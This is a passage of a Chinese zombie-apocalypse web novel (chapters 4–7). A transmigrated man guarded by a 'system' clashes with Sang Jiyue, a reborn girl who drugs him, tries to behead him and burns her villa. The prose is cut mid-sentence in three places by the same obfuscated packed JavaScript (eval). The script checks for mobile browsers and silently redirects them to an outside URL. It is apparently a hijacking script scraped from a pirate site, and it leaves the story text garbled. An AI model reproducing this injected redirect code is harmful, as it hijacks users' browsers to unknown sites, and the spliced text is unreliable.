这具身体实在是羸弱,方才她能捅这蠢货两刀,全凭出其不意,真的动起手来,她不是他的对手,这也就导致她的手脚都被从衣柜里翻出来的围巾牢牢地束缚住,动弹不得。 桑寄月一边平复着剧烈的呼吸,一边试图挣脱手脚的束缚,围巾的布料柔软,不会对她造成什么实质性的伤害,但白皙的皮肤也经不起她的磋磨,不多时被磨破了皮,她忍着疼,犹在挣扎。 正在这时,一道高大的阴影将她笼罩,她挣扎的动作顿住,抬起头来,面无表情的看着蹲在了她面前的盛星舟。 桑寄月紧抿着唇,充满探究的目光落在了盛星舟的脸上,但更多的还是对于接下来可能会发生的事情的绝望。 她侥幸躲过了原本的噩梦,却偏偏冒出了一个她完全没有印象的男人,是杀不死的怪物,和桑淮那个杂种一样。 可是这一次她还能再像前世一样逃脱吗?她仍是要付出那样惨痛的代价吗? 命运眷顾了她,让她有了重来一次的机会,却依旧对她残忍。 桑寄月感到绝望,她甚至想到了遥远的、惨烈的未来,如果此刻她无法改变,又何谈改变未来? 她的眼中弥漫着恐惧与迷茫。 盛星舟接触到她的眼神还愣了一下,明明受伤的都是他好嘛!现在倒是知道怕了,那还不快和他道歉。 下一瞬,桑寄月忽然开口:“你要杀了我吗?” “你以为谁都和你一样见人就捅?”盛星舟扯了扯唇角,看起来有些无语。 这就是不杀的意思吗? 桑寄月接着问:“你要强/奸我吗?” 盛星舟几乎是一下子就想到了桑寄月在原剧情里会经历的坏事,接触到她绝望恐惧的双眸,他连忙说:“我不会伤害你的,刚才吓到你了,对不起。” 桑寄月定定地看着他,黝黑的瞳孔像是化不开的墨。 “不图命,不图色,那你是为何而来呢?”她轻声问他。 总不能是为了物资,如此大费周折,还不如去超市零元购,末世爆发才没几天,超市正是热闹的时候,来这鸟不拉屎的别墅,简直是脑子坏了。 “我……”盛星舟总不能说我是来拯救你的,你的星来了,别害怕,这显得他就是图色,不怀好意。 桑寄月此时的情绪也平和了下来,看起来没有那么应激了,盛星舟决定趁机取信她,他记起来系统说过,桑寄月前期很依赖她的继兄桑淮。 盛星舟露出一丝笑容来,自信开口:“我是你哥哥的同学,他有事脱不开身,所以委托我来保护你。” 七四:“……” 傻逼。 提谁不好提桑淮。 桑寄月听见桑淮的名字,表情果然不一样了。 “真的吗?”她几乎是在顷刻间垂泪,通红的眼眶里泪珠大颗大颗的滚落,打湿了酡红的面颊:“我就知道,哥哥不会放弃我的,真是太好啦。” 盛星舟终于松了一口气,他附和:“嗯嗯,你哥对你很好的,过几天等你养好身体了我就带你去找他。” “谢谢哥哥。”桑寄月顶着满是泪痕的脸,开心的笑了。 少女喊哥哥的时候尾音会撒娇一样的上扬,刚见面的时候他就是被这声哥哥给唬了,跳下去让她捅了两刀。 盛星舟心有余悸,还是报上了自个儿的名字,让桑寄月喊他名字。 “星星哥哥。”桑寄月的声音轻细,云朵一样绵软,她有些羞赧的说道:“原来刚才都是一场误会呀,真是对不起呢,可以帮我解开吗?我的手很疼……” 盛星舟迟疑了一瞬,桑寄月的态度实在是转变得太大了,让他怀疑如果给她解开,她可能下一刻就又要扑他。 就算是桑寄月手里没有刀了,但她还是危险分子。 桑寄月脸上的笑容一点一点的凝固:“哥哥?” “不好意思,我觉得我们还是再彼此观察一下,对你我的安全都有保障。”盛星舟再离她远了点,他捡起一边的菜刀站起身:“我先去弄饭,你好好休息。” 盛星舟大步离开。 桑寄月的表情陡然转冷。 这个蠢货说的话她一个字都不相信,桑淮那个烂人才刚走,不可能委托什么同学来保护她,但盛星舟明显是认得桑淮的,只是绝对不了解桑淮。 最重要的是,他似乎也是被命运眷顾的人,因为她确认过他当时的确是没有呼吸的,没想到下一刻就活蹦乱跳的过来和她打架了。 盛星舟满口谎话,并不可信,桑寄月更好奇的是他为什么可以起死回生,若是把他的脑袋割下来喂给丧尸,没了脑袋也还能复活吗? 桑寄月眼神逐渐幽深,外面传来了脚步声。 盛星舟端着一桶泡面上了楼,本来是自热米饭熬粥的,但也不知道为什么,热出来黏糊糊的一坨,他便放弃了创新,老老实实的泡了桶面送上来。 他见她还坐在地上,便解开了她脚腕的束缚,让她能够走动。 桑寄月垂眸看了眼面前热气腾腾的泡面,脸上没什么表情,声音仍是柔和的:“这是给我准备的吗?谢谢哥哥,只是你如果不解开我手腕上的围巾,你是打算喂我吃吗?” 对哦! 盛星舟扶额,他在自己的生命安全和喂桑寄月吃面中犹豫了一瞬,然后果断的选择了后者。 虽然不知道桑寄月有没有信任他,但他反正是不太信任桑寄月的,把她放开了他都怕她吃着吃着就把泡面扣他头上。 他坚定的说:“我喂你。” “谢谢哥哥。”她弯了弯唇,表情温柔而真挚。 刚泡好的面还很烫,盛星舟用叉子卷起劲道金黄的面,确定可以入口之后,才凑到桑寄月的唇边。 桑寄月看着面上挂着的辣油,也没说什么,张嘴就吃了,然后说:“我要喝水哦,哥哥。” 盛星舟又下楼去给她倒水。 喝水前桑寄月还要用纸巾将嘴擦干净,也几乎是每慢条斯理的吃完一卷面就要将嘴角的油渍擦干净,然后喝三口水。 盛星舟:“……” 屁事真多。 桑寄月一天下来只吃了一点压缩饼干,和盛星舟打了一架后消耗了巨大的体力,早就饿了,勉强吃完了半桶面,见盛星舟还将叉子递过来,她将脑袋扭到一边,表示不吃了。 现在是末世,食物宝贵,盛星舟忍不住开口:“你剩这么多就倒了吗?” “冰箱还在工作,放到明天我会吃的。”桑寄月温吞开口:“我不会浪费食物的。” 盛星舟想了想:“算了,这次先倒了,下次给你泡半块。” 桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044958|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寄月扯了扯嘴角,还下次呢,她今晚就把他头砍下来做实验。 想归想,桑寄月仍保持着乖巧的笑容:“谢谢哥哥啦,哥哥还能再帮我一个忙吗?” 盛星舟点头。 “我想上厕所。”桑寄月温吞开口:“可以帮我脱下裤子吗?” 盛星舟:“……” 怎么把这事给忘了。 他总不能闭着眼睛去帮她脱裤子……虽然这和闭不闭眼也没关系,本身这就是非常冒昧的举动。 早知道要解开还不如刚才就解开,死脑子。 盛星舟妥协:“那你不准打我。” “哥哥。”桑寄月似乎是觉得好笑,她唇角弯着,眼睛里有笑:“你真可爱。” 蠢货。 她当然不打他,她只会捅他。 盛星舟有些错愕桑寄月竟然会夸他可爱!这太惊悚了! 话虽如此,得到夸奖的盛星舟还是有些羞赧,他伸出手去,终于将桑寄月手腕上的围巾取下,被磨破了的皮肤也随之映入眼帘。 不过桑寄月显然没觉得有什么问题,她起身往厕所走,盛星舟便将桌面收拾干净下了楼。 天色渐渐暗了下来。 盛星舟吃饱喝足还帮桑寄月喂了狗,然后从背包中翻出治疗擦伤的药膏和碘伏,以及一板退烧药。在来别墅的路上他也不是一味的赶路,还会搜集一些必要的物资,药品是其中最重要的,没想到这么快就派上用场了。 桑寄月的卧室里只开了一盏昏黄的小灯,盛星舟扣响了破烂的房门,听见少女温柔的声音后才推门而入。 少女手里握着一块毛巾正在擦拭半干的乌黑长发,手腕上的痕迹泡了水,泛着白,看着有些刺眼。她仍是穿着轻便的衣物,仿佛下一刻就会有行动似的。 盛星舟将手里的药都交给了桑寄月,不忘和她说他帮她喂了狗,那条狗的胃口很好,吃了满满一碗狗粮。 桑寄月礼貌的同他道谢,然后将药放到一边,往手腕上涂抹。 盛星舟还好心的问了一句:“要帮忙吗?” “不用呢。” 药很快就涂抹完了,桑寄月的烧还没完全退,她掰下一颗退烧药,喂进嘴里,直接咽了下去。 盛星舟端着水杯的手顿在原地,显然是没想到桑寄月吃药这么生猛。 不过桑寄月还是接下了水杯,慢条斯理的喝了起来。 外面隐约传来丧尸嘶吼的声音,在这块区域格外清晰,盛星舟不得不和她交流一下目前的情况:“那些人的尸体把附近的丧尸都引过来了,晚上也正是丧尸活跃的时候,外面现在很危险,他们可能随时都会冲破大门闯进来。你不该把丧尸都引过来的。” “丧尸多了,就不会有人闯进我的家了呢。”桑寄月将水杯放下,面上的笑容淡了很多,她平静的说道:“对我来说,最危险的从来都不是外面的那些丧尸。” 危险的是此刻看似对她没有敌意的盛星舟,也是任何一个有力量将她控制住的男人。 盛星舟发觉哪怕桑寄月言笑晏晏态度平和的和他交流,看着比动不动就动刀子要好说话很多,但他却不知道怎么回应她,她好像平等的仇视所有人。 半晌,他才说道:“我会在客厅守夜,你晚上可以好好休息。” 取得桑寄月的信任很困难,好在她此刻也不会捅他了,也算是不错的开端,盛星舟决定先做好一个保护者的本分,至于其他的以后再说吧。 桑寄月“嗯”了声,温柔开口:“那哥哥可要保持警惕,别睡着了哦。” 5. 阴影 夜色渐浓。 桑寄月并没有睡着,她站在窗户边,往别墅大门眺望,那群丧尸开始时不时的撞击铁门,发出沉闷的声响。 说不定还真能闯进来。 她从床头柜里翻出白色的小药瓶,里面的药没剩下几粒了,考虑到之后可能会断供,所以桑寄月只摸了两颗下楼。 客厅里很安静,惨白的月光投下,白天一片狼藉的地面已经被收拾干净,盛星舟正靠在沙发上,头一点一点的,看着好像下一刻就要睡着了。 大福蜷缩在他的脚下,也睡得很香。 傻狗,一点警惕心都没有。 桑寄月瞥了眼大福,收回目光,脚步很轻的走进厨房,摸了把剔骨刀别在腰上,扯下衣摆遮好,然后倒了两杯水。 药片研磨成粉溶于水中,桑寄月坐在吧台上,眺望着还在打瞌睡的盛星舟,安静的等待着什么,并没有去打扰他。 困得要死的盛星舟只隐约听见耳畔似是有什么响动,他正要睁开眼,外面忽然传来了巨大的撞击声,惊得他险些从沙发上摔了下来。 比起远处的撞击声,少女短促的一声笑更先穿进他耳畔,他循着声音望过去,就见被吧台上柔和白光笼罩着的少女静坐在高脚凳上,被牛仔裤包裹着的双腿纤细笔直,正在轻轻晃悠。 完全是属于她这个年纪的稚气灵动。 大福被盛星舟的动作吵醒,醒过来后立刻兴奋的摇着尾巴去找桑寄月,桑寄月用脚尖勾了勾它的下巴逗了一下后,便跳下高脚凳,端着水朝着他走过来。 盛星舟看着桑寄月靠近,第一反应是警惕,他问:“你不睡觉干嘛呢?” “下来喝水。”桑寄月将其中一杯水放在盛星舟面前,然后在他旁边的沙发坐下:“哥哥的警惕性不够高哦,如果我不怀好意的话,你可能在睡梦中就被我杀掉了呢。” 盛星舟立刻辩解:“我没睡着,只是眯了一下。” “喝水吗?” 刚醒过来的确会口渴,盛星舟刚要端起面前的那杯水,又忽然想到了什么,把手伸长拿了桑寄月面前的那杯。 桑寄月也无所谓,端起盛星舟面前那杯水抿了一口,看见玻璃杯里的水位线下降,盛星舟才放心了喝了一大口,一杯水很快见底。 盛星舟用手背擦了擦唇角的水渍,问她:“你烧退了吗?” “退了。”她左手端着水杯,又抿了一口,很礼貌的对他说:“谢谢哥哥给我的药,效果很好呢。” 桑寄月说着,顺手拿起桌面上那包白天没吃完的压缩饼干小口小口的嚼着。 盛星舟立刻想要好好表现一番他的贴心:“你饿了啊?我去给你弄点吃的,你喜欢红烧牛肉还是香辣牛肉?” 桑寄月礼貌婉拒,还友好的分享了手里的饼干,干巴巴的饼干味道并不好,还很噎人,但很能饱腹,会为她接下来的运动提供足够的能量。 “你是左撇子吗?”盛星舟接过一片,咔嚓两口吞下去,然后好奇的问她。 正仰头喝水的桑寄月咽下最后一口水,拿着玻璃杯的左手垂了下去,她笑道:“算是吧,习惯了呢。” “听说左撇子都比较聪明。”为了和桑寄月好好相处,盛星舟立刻抓住机会夸赞她:“看来是真的。” 桑寄月:“……” 这个蠢货在说什么乱七八糟的话,她感到厌烦,不想再继续这种无聊的话题。 他真的是一点警惕心都没有,外面破开大门的丧尸都快闯进来了,他竟然还在这里夸她聪明? 虽然这的确是事实。 盛星舟并没有察觉到桑寄月的不耐,他说完之后,忽然听见了外面距离他们越来越近的丧尸吼叫声。 他骤然拾起了方才被桑寄月笑声打断的思绪,那声在黑夜中的巨响,很明显就是丧尸冲破了别墅的铁门,闯了进来! 现在那些丧尸正在外面游荡,一定很快就会找到他们的,如果被丧尸包围的话,他们立刻完蛋了。 盛星舟一下子危机感爆棚,然后他打了个呵欠。 “其实我很好奇。”桑寄月似乎并未将即将到来的危机放在眼里,她盯着盛星舟,轻声问:“你为什么可以复活呢?” 盛星舟没想到她会忽然问起这件事,这他可没办法和她解释,他撑着绵软的双腿站起身,严肃的说:“现在不是说这个的时候!外面的丧尸……” 话音未落,桑寄月便将他推倒在了沙发上,用黝黑的眸子,居高临下的看着他,像是在看一件死物。 盛星舟很熟悉这样的眼神,因为今天她就是这么看着他去死的。 他想起身,但身体发软,一波一波的疲倦犹如浪潮一样涌上脑子里。 “你在水里下了药?!”盛星舟立刻反应过来,不可置信的看着她。 桑寄月本来是不打算多说的,毕竟这种时候多说一句话都有可能多生事端,但这蠢货瞪圆的双眼,不可置信的表情,着实是愚蠢又有趣。 她弯了弯唇,柔软的声音褪去温和,平静得没有丝毫起伏:“是呢。” 盛星舟:“可是我明明……” “两杯都有。”桑寄月不用听就知道这蠢家伙要问什么,她摸出那把剔骨刀,抵在盛星舟的脖颈上,制止住他挣扎的动作,接着说道:“但那点药量对我不起作用哦。” 盛星舟感受到脖颈上的凉意,立刻不敢乱动了。 外面的丧尸已经嗅到了这里的气味,正在不断靠近,此时正将紧闭的大门撞得哐哐作响。 盛星舟急了,桑寄月倒是没被影响,她面无表情的掀开他的上衣,盯着他没有丝毫伤口的胸膛。 就算是愈合得再快,也不该一点疤都不留的,他到底是什么人? 桑寄月面无表情的用刀柄戳了一下他的心口,确定了那片白皙的皮肤的确完好无损。 盛星舟涨红了脸,他连丧尸在撞门都顾不得了,大声说道:“你干嘛啊!” 桑寄月没想到他反应这么大,她想到什么,声音奇异的温柔了一些:“你别怕,你没对我做过什么,我也不会强/奸你的。” 盛星舟:“……” 这真的是她这个年纪该说的话吗? 桑寄月体贴的帮他将上衣放了下去,遮得严严实实的:“放心,我对你不感兴趣。” 盛星舟的表情又尴尬又愤懑,这具身体的主人身材的确不够有看点,白瞎了他从前勤勤恳恳练出的漂亮肌肉,现在都便宜了那个和他撞名的男配。 但是这只是暂时的!他会变得很有料。 桑寄月觉得盛星舟的表情有些奇怪,她有些不解,但这并不是她该关心的,她将剔骨刀重新抵上盛星舟的脖颈,声音冷淡:“你不说的话,我就亲自来实验了。” “啊?” 桑寄月有些无奈:“哥哥,很难猜吗?我要割掉你的脑袋,看你没有脑袋的话还能不能活呀。” 盛星舟:“住手!救命啊!” 他大叫了起来,开始挣扎,他躺了一会儿,也恢复了一些力气,桑寄月手里的刀一时间也落不下来。 与此同时,那些丧尸也撞开了大门,嘶吼着朝着他们冲过来。 盛星舟叫得更惨了:“月姐你回头看看啊!都是丧尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044959|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !我们就不要起内讧了啊,你就放过我吧!” “那你为什么要浪费时间挣扎呢?”桑寄月不为所动,剔骨刀狠狠落下,手腕却被盛星舟死死拽住。 与此同时,那些冲入大厅里的丧尸,在大理石的地面上摔了个狗吃屎,但丧尸的数量众多,前面的摔倒了,后面的就一拥而上,将地上的丧尸踩得肠穿肚烂,然后又摔倒在地。 别墅里弥漫着腐烂的气息,伴随着丧尸的吼叫,犹如死亡的预告。 盛星舟也来不及去管那些丧尸了,眼前的少女比丧尸还要恐怖,电光火石间,他记起白天的时候桑寄月态度软化就是因为他提起了她的继兄桑淮,他当即开口试图继续劝说:“我是桑淮的同学啊,我们是好兄弟!你就看在你哥的面子上——” 话音都未曾落下,在盛星舟喊出桑淮的名字的时候,原本和他纠缠的时候都算平静的桑寄月忽然尖叫一声,彻底失控。 “别提那个蛀虫!!!” 盛星舟愣了一下,手心传来剧痛,那把剔骨刀割破了他的皮肤,粘稠鲜红的血液滴落,惹得正在湿滑的地面上朝着他们爬过来的丧尸躁动不已。 一只丧尸在此时握上桑寄月的脚踝,桑寄月头也没回,左手捏着那把剔骨刀就扎穿了那只丧尸的脑袋,丧尸浑身抽搐的倒在地上,当场毙命。 脑浆混合着黑色的血液溅了他们一身,盛星舟也趁此机会将桑寄月往外推,她身子不受控制的后仰,眼看着就要落入丧尸伸长的爪中,他连忙把她拉回来。 盛星舟也顾不得别的了,他踩着在地上爬行的丧尸往外冲,途中踩在地面上还摔了一跤,最后几乎是爬出大门的。 哪怕是险些落入丧尸群桑寄月也面无波动,她捅穿了距离她最近的丧尸脑壳,盯着盛星舟的背影消失在她的眼前。 不顾系统催他回去的声音,盛星舟跑得直到喉咙里都传来了铁锈味才气喘吁吁的停下脚步,瘫坐在地,那座可怕的别墅已经被他甩得老远。 盛星舟在衣服上抹了抹手上的湿滑,发现是油,怪不得那些丧尸在大理石的地面上站不稳。 他很难不控制他的思绪去回想方才可怕的一幕,丧尸爆开的脑壳,喷溅而出的粘稠液体,以及地面上站不起来只能蠕动爬行的丧尸,交叠出一幅极度恐怖的画面。 下一瞬,血腥的画面被少女苍白漂亮的脸取代,看起来赏心悦目。 盛星舟更崩溃了,难以抑制的开始发抖,很明显在他心里,桑寄月是比丧尸还要恐怖的存在,他已经有阴影了。 七四似乎也挺崩溃:“那里那么多丧尸,你就把她一个人留在那儿了?你快回去救人啊。” “怪不得你叫七四呢,你是真想让我去死!”盛星舟气得骂道:“桑寄月哪里是什么柔弱女配,她就是疯狗,见人就咬,哪只丧尸敢咬她?!我告诉你——我不干了!回不去就回不去!闯荡末世也比待在她旁边被她捅死好!” 七四:“你不回去我电你了。” 盛星舟没理,七四说电就电,他也是个犟骨头,躺在地上被电得时不时抽搐一下,头发都被烫卷了,嘴里吐出黑气,愣是不肯折返。 气得七四直接下线,不理他了。 盛星舟这才从地上爬起来,头也不回的往外走,这四周的丧尸都被吸引到那幢别墅里了,所以他这一路很安全。 快要走出御水湾的时候,盛星舟扭过头往桑寄月家看了一眼,一片漆黑中,那块区域却火光冲天,几乎照亮了半边天。 桑寄月点了一把火。 盛星舟好半晌才回过神来,骂了一声:“她就是找死!” 6. 倒霉 丧尸愚蠢,无知,为了一口血肉可以不惜任何代价,比起虚伪,刻薄,始终勾心斗角的人来说,他们当真是非常单纯可爱的生物了。 最重要的是,在她面对危险时,这些可爱的家伙们会成为她最坚实的后盾。 桑寄月很明白她不是一个身强体壮的成年男人对手,在没有万全之策前,她必须设想到最糟糕的结果。 显然她没有想错,如果不是这些丧尸让那个蠢货吓破了胆,她很可能就被那个闯入者反杀了。 好在她最忠实可靠的伙伴们帮助了她。 桑寄月将盛星舟遗留下来的背包挎在手臂上,背包很沉,压得她纤弱的手臂有些疼。 几只丧尸趁趁机爬上了沙发,他们张大了嘴,尖锐的犬齿泛着冷光,腐烂的口腔里散发着难闻的恶臭。 她的动作很快,剔骨刀插进丧尸坚硬的脑壳将神经彻底破坏,又飞快拔出,手起刀落不过几息,那几只丧尸就被她踹回来沙发下。 不断的有丧尸踩着尸体想要爬上来。 桑寄月从口袋里摸出了一枚打火机,往远处抛去,地面上的油接触到火焰的那一刻,大厅里的丧尸被瞬间点燃。 她从沙发背面跳下,踩着地面上的丧尸,飞快往楼上跑,身后是汹涌的热浪,几乎要将她单薄的身影吞噬。 火光追随着她的身影,别墅里浓烟弥漫,她跑上来二楼,将物资从窗口抛下,然后攀着窗户,借力跃下—— 少女瘦弱的身体在柔软的草地上打了个滚,勉强稳住身形,她坐在地上喘着粗气,早就跑了出来的大福凑过来用热乎乎的舌头舔她的手。 桑寄月将口水在它的毛上擦干净,拍拍小狗的头,笑着夸赞:“大福超棒的哦,接下来就我们一起走吧。” 小狗不懂她这一长串话在说什么,但小狗喜欢和主人在一起,它兴奋的甩着尾巴,嘴里不停呜咽着。 身后的别墅已经被火光吞没,桑寄月没有浪费时间,飞快的清点起盛星舟遗留下来的物资,与她原本的物资。 那个蠢货倒是留了挺多食物还有药品的,足够她吃很长一段时间,但是鉴于他没死,她如果下次再遇上他的话,一定是不死不休,得小心行事,如果再见的话,必须得杀掉他了。 至于她本身的物资,便是几件轻便的衣物与药品,最重的当属大福的狗粮和罐头,沉得很。 桑寄月将物资整理成了两份,其中一份让大福背在身上,她站起身,擦了擦脸上的灰尘和汗水,与大福一起往外走。 御水湾的别墅私密性极强,建筑与建筑之间相距很远,哪怕桑寄月只是去邻居家,也走了十几分钟。 桑寄月从口袋里摸出钥匙插进锁孔中,打开沉重的铁门后,与大福一起走了进去。她轻车熟路的走到主楼,蹬掉帆布鞋,踩进尺码合适的拖鞋里,上楼洗漱。 这幢别墅里同样只有桑寄月一个人,目前来说,这里算是安全的,又舒舒服服的洗了个热水澡后,桑寄月躺在柔软粉嫩的公主床上,却半天都没睡着。 半晌,她爬起来,踩着拖鞋去了隔壁的房间,隔壁的房门紧闭,她在门口站了一会儿后,推门而入。 映入眼帘的是熟悉的卧室,黑白的主色调简约优雅,看摆设很显然是男性的房间。她坐在黑色的褥子上,将床头柜上的相框拿在手中。 这时候已经快要天亮了,七月份天亮得很早,便是没有开灯,从窗户里透出的微光也清晰的照亮了那张照片。 是一张合照,少女面无表情的注视着镜头,身旁的少年虚虚的揽着她的肩膀,呈保护者的姿态,脸上的笑容温柔。 少年是她的邻居,也是这幢别墅的主人,只是他不在燕城,而是在遥远的景城,距离燕城有上千公里。 很远很远。 桑寄月盯着少年的脸许久,忽然伸手将相框倒扣在了床头柜上,她滚进冰冷柔软的被褥间,抱着被子沉沉睡去。 时间一晃而过。 这是末世爆发的第七天。 循环播放的广播仍是雷打不动的待在家中等待救援,或许有一部分人的确是等到了救援,但并不包括桑寄月。 按照前世的轨迹,桑淮那个垃圾会在今天折返御水湾,所以她特地给他在别墅里准备了一份礼物,至于她,她的病已经痊愈,现在得出发去收集物资了。 静安区的街道很是开阔,尤其是出御水湾的这条路,虽然街上还有堵塞的汽车与游荡的丧尸,但不至于无法行驶。 桑寄月开着一辆黑色的跑车,没去管穿行而过的街道上人与人或是人与丧尸的斗殴事件,偶有丧尸朝着她扑过来,也被她一脚油门撞飞。 冰冷的钢铁巨兽可比她这双纤弱无力的手要有用得多。 跑车碾过路面,拐弯驶入下一条街道时带起了一阵热风。 斜靠在路边车子旁刚清理完丧尸群的高大男人黑发被这阵热风吹动,他抬眸,露出一双冷如霜的眸子,那辆车却已经绝尘而去。 身旁的男人擦了一把脸上的热汗,抱怨道:“什么人呐,就这么走着我们刚清理的路跑了,刚才要不是我躲得快,还差点创到我!” 他们驶入静安区没多久便遇上了丧尸群,丧尸数量太多,开车撞过去显然不可取,他们便只能停下来清理。 也算是桑寄月运气好,如果早出发一个小时的话恐怕就是她撞上丧尸群了。 那气息冷漠的男人没有回应,低头看了眼腕骨上的手表,眉头皱得很紧:“来不及了。” 从景城过来,他已经耽误了很长时间。 前方的斗殴愈演愈烈,已经完全霸占了路面,这个时候也无法再开车通过了,男人也放弃了开车的想法,朝着御水湾的方向飞奔而去。 另一边。 桑寄月已经完全驶离了御水湾的范围,即将抵达静安区的主街道,不比御水湾附近的人烟稀少,主街道上要拥堵得多,丧尸数目也很可观,这时候再开车横冲直撞无异于是找死。 这一路走来的便利店基本已经被搬空或是占领,桑寄月的目标是这附近的一家大型超市,这种地方由于丧尸密集,所以剩下来的物资必定非常丰富。 比起跟不怀好意的人去抢物资,桑寄月自然更愿意从她忠诚的伙伴身边搜集她需要的物资。 大福趴在车子底下替她守车,她将白色的卫衣帽叩在头顶,护住乌黑的头发,然后杀了几只小伙伴将粘稠的液体往身上涂抹,将身上的气息完全掩盖。 桑寄月不怕丧尸,毕竟她上辈子就是这样可爱的生物,所以她自然能够完美的伪装丧尸,基本上只要不流血,就不会被发现。 她摸了摸腰上别着的那把已经磨得发亮的剔骨刀,然后镇定的往那座大型超市走去,很快便顺利进入。 这里显然是经过一场恶战了,地面上倒着残缺不全的尸体,要么是没来得及尸化就死了的人,要么就是被宰杀的丧尸。 看四周的物资数量,很显然最后还是丧尸赢了。 此时战斗已经平息,往里走丧尸的数量依旧骇人,在没有察觉到入侵者的气息时,他们便漫无目的来来回回,像是没有等到指令的NPC一样。 桑寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044960|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月的加入并未引起他们的注意。 她冷静的穿梭在丧尸群中,本来是想要去日用品区拿一些必需品的,但刚走了没两步,忽然听见员工通道那边传来了打斗的声音。 这座超市竟然还有活人。 员工通道连接着的很有可能是超市的仓库,仓库里物资丰盛,并且丧尸的数量不会太多,看来这是个聪明人。 桑寄月脚步一转,拧开员工通道的门,也不关门,就悄无声息的摸了过去。 地面上已经好几具丧尸的尸体了,安全通道的灯牌上泛着绿油油的光,在这昏暗的空间里有些诡异。 被几只丧尸包围着的是一个年轻的男人。 是那个蠢货。 遇见她算他倒霉。 本来就抱着捡漏想法的桑寄月眼睛一亮。 割掉他的脑袋!看他还能不能复活! 桑寄月兴奋地靠近盛星舟。 …… 为了稳住叛逆的盛星舟,七四在思考了好几天之后终于妥协给他开了金手指,给了他一个十平米的小空间。 真的很小,但七四肯定的告诉盛星舟,空间是可以升级的。 盛星舟立刻干劲十足出门收集物资,恰巧就遇上了一伙人闯了这大超市,他跟着进来,却没想到这超市里的丧尸数量多得超乎想象,那伙人足足有二十几人,在这里全军覆没。 盛星舟进退维谷,恰巧身后就是员工通道,他毫不犹豫的拐了进去,不忘关上门,却没想到这员工通道里还是有数量不少的丧尸,但比起外面可好太多了,他立刻开始清理。 最后一只丧尸被他用棍子打偏脑袋,一脚踹飞,恰巧砸在了桑寄月的面前,她的脚步倏的顿住,显然是没想到盛星舟竟然杀得这么快。 这时候去硬碰硬就是傻子了,桑寄月喉间发出了嘶哑的吼叫声,回响在这片昏暗的天地,附近的丧尸循声而来。 盛星舟看过去,便见浑身是血的矮丧尸竟然会呼唤同伴,他当即举着棍子冲了过去,要先处理掉她。 棒球棍裹挟着呼啸的劲风凶狠落下,桑寄月下意识的闪躲,卫衣帽滑落,露出那张没有被血污染的漂亮小脸。 盛星舟愣了下,手里的动作停了,表情变得复杂而凝重,细看又有些沉痛。 “天呐!这都能遇上!你们太有缘了!”七四激动又开心的说道:“你不是问我怎么给你的小空间升级吗?我特地去同事那里搞了一套好感系统过来,好感度上升空间就能升级哟~” 七四觉得他可真是个天才。 前辈们就是这样教他的,优秀的系统要学会威逼利诱宿主去做任务,可不能被反过来拿捏。 盛星舟:“……” 狗系统啊!桑寄月都变成丧尸了还攻略她?他把自己喂给她得了! 不过话又说回来了…… 丧尸桑寄月肯定比人类桑寄月要好搞定得多,毕竟丧尸是没有思想的,想办法喂饱她,好感度自然而然就上升了。 被桑寄月叫过来帮忙的丧尸已经冲了过来,桑寄月没打算和盛星舟交手,一切都交给她忠实的小伙伴们吧。 眼看着盛星舟近在咫尺,桑寄月扭头就跑,还未跨出半步,卫衣帽被人往后一扯,她双脚离地,被提了起来。 桑寄月:“?!” 盛星舟发现丧尸桑寄月的攻击性一点都不高,看见他就跑,比见他就捅的人类桑寄月讨喜得多,这真是太棒了! 他不再恋战,高高兴兴的提着她拐进就近的一扇门,沉重的门合拢,桑寄月的小伙伴们被隔绝在外。 7. 玩玩 桑淮折返了御水湾,寻找继妹的踪迹,纵然他更趋向于她已经成了丧尸。 他们这对继兄妹的感情并不算好,在桑女士去世后,他很明白桑寄月有多讨厌他们父子,哪怕随着她年岁渐长,不再像小时候一样尖锐,她变得柔弱而乖巧,但桑淮知道她虚伪面具下的真面目。 记起临行前少女难得流露出脆弱的模样,拽着他的手求救,这是她第一次向他示弱,想必也是最后一次。 桑淮会找到她的尸体,埋到桑女士的墓旁,完成父亲感染尸毒前最后的遗愿。 却没想他折返家中,门口的铁门大开,很显然是出事了。他没有犹豫,赶到主楼,推开那扇摇摇欲坠的大门,便见厅中一片狼藉,几乎被烧成块块黑炭的丧尸正拖着残缺不全的身体拥挤游荡。 当桑淮闯入时,他们就像是得到了指令一样,朝着他扑来—— 高大英俊的青年没有丝毫的愣神,举起手中的匕首就迎上了那些丧尸。 被烧成黑炭的丧尸就像是裹了一层坚硬的保护壳,极难对付,桑淮并不恋战,放倒了几只冲在最前面的丧尸后,他就往大门的方向冲。 一具尸体而已,他没必要赌上命。 